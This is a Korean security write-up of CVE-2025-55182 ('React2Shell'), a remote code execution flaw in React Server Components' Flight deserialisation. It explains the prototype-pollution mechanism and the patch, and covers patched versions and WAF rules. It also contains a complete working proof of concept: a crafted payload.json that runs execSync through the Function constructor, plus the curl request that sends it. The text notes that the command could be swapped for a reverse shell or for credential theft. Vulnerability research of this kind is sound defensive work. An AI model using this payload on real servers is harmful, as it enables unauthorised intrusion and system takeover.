Overview
2025년 12월 3일, CVE-2025-55182(React2Shell)이 공개되었습니다. 해당 취약점은 React Server Components(RSC)의 Flight 프로토콜 구현에서 발견되었으며, 조작된 HTTP 요청을 전송함으로써 원격 코드 실행이 가능한 취약점입니다. React나 Next.js 같은 RSC 기반 프레임워크의 기본 설정만으로도 공격이 가능했으며, 난이도가 낮기 때문에 CVSS 10.0(Critical) 등급으로 분류되었습니다.
취약점의 핵심은 RSC 페이로드 역직렬화 과정에서 입력 검증이 부재하다는 점입니다. 조작된 입력값이 서버에서 프로토타입 오염을 발생시키고 JavaScript 코드 실행으로 이어지는 구조적 결함이 존재합니다.
취약한 패키지 및 버전
| 패키지 이름 | 취약 버전 범위 |
|---|---|
react-server-dom-webpack |
19.0.0, 19.1.0, 19.1.1, 19.2.0 |
react-server-dom-parcel |
19.0.0, 19.1.0, 19.1.1, 19.2.0 |
react-server-dom-turbopack |
19.0.0, 19.1.0, 19.1.1, 19.2.0 |
Vulnerability Analysis
React Server Components는 UI 컴포넌트의 일부를 브라우저가 아닌 서버에서 렌더링하는 아키텍처입니다. 클라이언트와 서버 간 통신을 위해 React Flight라는 직렬화 프로토콜을 사용하며, 이 프로토콜은 React 컴포넌트 트리와 데이터를 청크 단위로 직렬화하여 스트리밍합니다.
사용자가 폼을 제출하거나 액션을 호출하면 데이터가 청크로 묶여 서버로 전송되고, 서버는 이를 재조립하여 처리합니다. 다음은 Flight 프로토콜의 간단한 예시입니다.
form_data = {
"0": (None, '["$1"]'), # 청크 0: 참조값으로 청크 1 가리킴
"1": (None, '{"action":"updateProfile","user":"$2"}'), # 청크 1: 실제 액션과 사용자 정보 참조
"2": (None, '{"userId":42,"email":"user@example.com"}') # 청크 2: 사용자 데이터
}
청크 분할 방식의 이유
Flight 프로토콜이 청크를 사용해 데이터를 전송하는 방식으로 채택한 이유로는 사용자 경험 개선이 있습니다. 전통적인 SSR은 모든 데이터가 준비될 때까지 클라이언트가 빈 화면을 보고 대기해야 했습니다. 데이터베이스 쿼리나 외부 API 호출이 지연될 경우 더 오랜 시간을 기다리고 있었습니다.
RSC는 이 문제를 해결하기 위해 서버에서 준비된 컴포넌트부터 순차적으로 전송하고, 클라이언트는 도착한 청크부터 즉시 렌더링해 체감 로딩 속도가 개선되었습니다. 비동기 처리를 위해 도착하지 않은 데이터는 임시 표시로 렌더링 후, 자연스러운 교체를 통해 사용자에게 부드러운 로딩을 제공했습니다.
취약점 발생 원리
React2Shell 취약점은 RSC Flight 프로토콜의 서버 측 처리 로직에 존재하는 불안전한 역직렬화 문제에서 발생합니다. 서버가 RSC 요청을 역직렬화할 때 입력 데이터 구조의 무결성을 검증하지 않아 발생합니다.
공격자는 RSC 요청 페이로드에 __proto__, constructor 같은 위험한 속성을 추가하여 서버 측 JavaScript 객체의 프로토타입 체인에 악의적인 속성을 주입할 수 있습니다. 이러한 프로토타입 오염이 발생하면 서버가 공격자가 조작한 경로로 코드를 실행하게 되며, 최종적으로 Node.js의 내부 모듈을 이용한 임의 코드 실행으로 이어집니다.
React 공식 패치 커밋을 보면 문제의 핵심은 모듈 로딩 및 객체 프로퍼티 조회 로직이었습니다. 패치 전까지 requireModule 함수는 객체 프로퍼티 존재 여부를 검사하지 않고 직접 반환했습니다.
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = parcelRequire(metadata[ID]);
- return moduleExports[metadata[NAME]];
+ if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+ return moduleExports[metadata[NAME]];
+ }
+ return (undefined: any);
}
패치 후에는 hasOwnProperty를 통해 해당 키가 모듈 객체에 직접 존재하는 경우에만 접근하도록 변경되었습니다. 이는 공격자가 __proto__나 constructor 같은 프로토타입 체인 상의 속성을 악용하는 것을 차단합니다.
프로토타입 오염(Prototype Pollution)
프로토타입 오염은 JavaScript 객체의 프로토타입에 공격자가 임의의 속성을 주입하여 애플리케이션 동작을 변경하는 공격 기법입니다.
JavaScript는 객체에서 속성을 찾을 때 해당 객체뿐만 아니라 프로토타입 체인을 따라가며 검색합니다. 공격자가 __proto__, constructor, prototype 같은 특수 키를 통해 전역 프로토타입에 값을 주입하면, 그 프로토타입을 상속하는 모든 객체에서 해당 속성이 보이게 됩니다. 이를 통해 권한 우회, 로직 변조, 서비스 거부, 원격 코드 실행까지 가능합니다.
React2Shell의 경우 서버가 클라이언트로부터 받은 JSON을 파싱하여 객체를 구성하는 과정에서 공격자가 의도한 프로퍼티들이 프로토타입 체인에 삽입되었습니다. 그 결과 Node.js 런타임이 제공하는 위험한 함수들을 호출할 수 있는 경로가 만들어졌습니다.
공격 과정
공격은 총 4단계로 구성되어 있습니다.
1단계: 자체 참조 청크 구성
- 공격자는 RSC 프로토콜의
$@참조 문법을 악용해 청크가 자기 자신을 가리키도록 만듭니다. 이는 순환 참조를 생성하는 동시에, 청크 객체의then메서드를 조작할 진입점을 제공합니다.
2단계: Thenable 객체 위조
- 청크의 상태를
resolved_model로 설정한 뒤then속성을 가짜 thenable로 지정합니다. RSC 런타임은 이를 이미 해결된 Promise로 착각하고 정상 처리 경로로 진입하게 됩니다. 여기서$B0토큰이 포함된 JSON 문자열이 핵심 페이로드로 작동합니다.
3단계: 프로토타입 체인 탈취
initializeModelChunk가$B0를 해석하는 과정에서response._formData.get(response._prefix + obj)호출이 발생합니다. 공격자는_formData.get을$1:constructor:constructor로 설정해 JavaScript의Function생성자를 가리키게 만들고,_prefix에 실행할 코드를 주입합니다.
4단계: 코드 실행
- 최종적으로
Function("악성코드")()가 호출되어 서버에서 임의 코드가 실행되게 됩니다. 이 과정은 Next.js의 액션 검증보다 앞서 발생하므로Next-Action헤더만으로 공격이 성립되게 됩니다.
실습 환경 구성 및 개념 증명
취약점을 재현하기 위해 Next.js 16.0.6 버전으로 환경을 구성합니다. 이 버전은 취약점이 패치되기 전 버전입니다.
# Next.js 애플리케이션 생성 및 실행
npx create-next-app@16.0.6 vulnerable-app --yes
cd vulnerable-app
npm run build && npm run start
서버가 localhost:3000에서 실행되면 악성 페이로드를 준비합니다. 청크 0에 해당하는 payload.json 파일을 생성합니다.
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\": \"$B0\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('id > /tmp/pwned');",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
각 필드의 의미는 아래와 같습니다.
then은 청크 1의 프로토타입 체인에서then메서드를 참조해 자체 참조 루프를 생성합니다.status는 청크를 이미 해결된 모델로 표시해 특정 처리 경로로 진입하게 만듭니다.reason의-1값은 내부 계산 시undefined로 처리되어 오류를 방지합니다.value에는$B0토큰이 포함된 JSON 문자열이 들어 있어 Blob 처리를 트리거합니다._response._prefix에는 서버에서 실행할 명령을 넣습니다.- 여기서
id명령의 출력은/tmp/pwned파일로 저장하도록 했습니다. _response._formData.get은Function생성자를 가리키도록 설정되어 코드 실행이 가능하도록 합니다.
- 여기서
청크 1에 해당하는 payload2.txt 파일에는 $@0만 포함시킵니다. 이는 청크 1이 청크 0의 원본 데이터를 참조하도록 하여 순환 참조 구조를 완성합니다.
준비한 페이로드를 멀티파트 폼 데이터로 서버에 전송합니다.
curl -X POST http://localhost:3000 \
-H "Next-Action: exploitTest" \
-F '0=@payload.json;type=application/json' \
-F '1=@payload2.txt;type=text/plain'
공격이 성공하면 서버에서 명령이 실행되어 /tmp/pwned 파일이 생성됩니다.
cat /tmp/pwned
# 출력: uid=0(root) gid=0(root) groups=0(root)
이는 root 권한으로 코드가 실행되었음을 보여줍니다. 공격자는 페이로드의 명령 문자열을 변경하여 시스템 파일 열람, 환경변수 탈취, 리버스 쉘 접속 등 다양한 작업을 수행할 수 있습니다.
주의: 이 실습은 허가된 테스트 환경에서만 수행해야 합니다. 운영 중인 시스템에 무단으로 이 페이로드를 전송하는 것은 불법입니다.
대응방안 (Mitigation)
React팀은 12월 3일 수정 버전을 긴급 배포했습니다.
즉시 패치 적용
- React: 19.0.1, 19.1.2, 19.2.1
- Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
패치 적용 후
npm ls react-server-dom-webpack또는npm audit으로 취약 패키지 잔존 여부 확인 필요
즉시 패치가 불가능한 환경에서는 WAF 룰로 시간을 벌 수 있습니다. Cloudflare는 공개 당일 차단 규칙을 배포했고, AWS도 마찬가지로 관리형 규칙 세트를 업데이트했습니다. 자체 WAF의 경우 다음과 같은 룰을 추가할 수 있습니다.
Next-Action또는RSC-Action-ID헤더 포함 요청- 페이로드 내
$__proto__,$B0,resolved_model문자열
하지만 WAF와 같이 필터링을 통한 방어는 임시 대책이므로 반드시 버전 업데이트가 필요합니다.
Comments
Sign in with GitHub to leave a comment.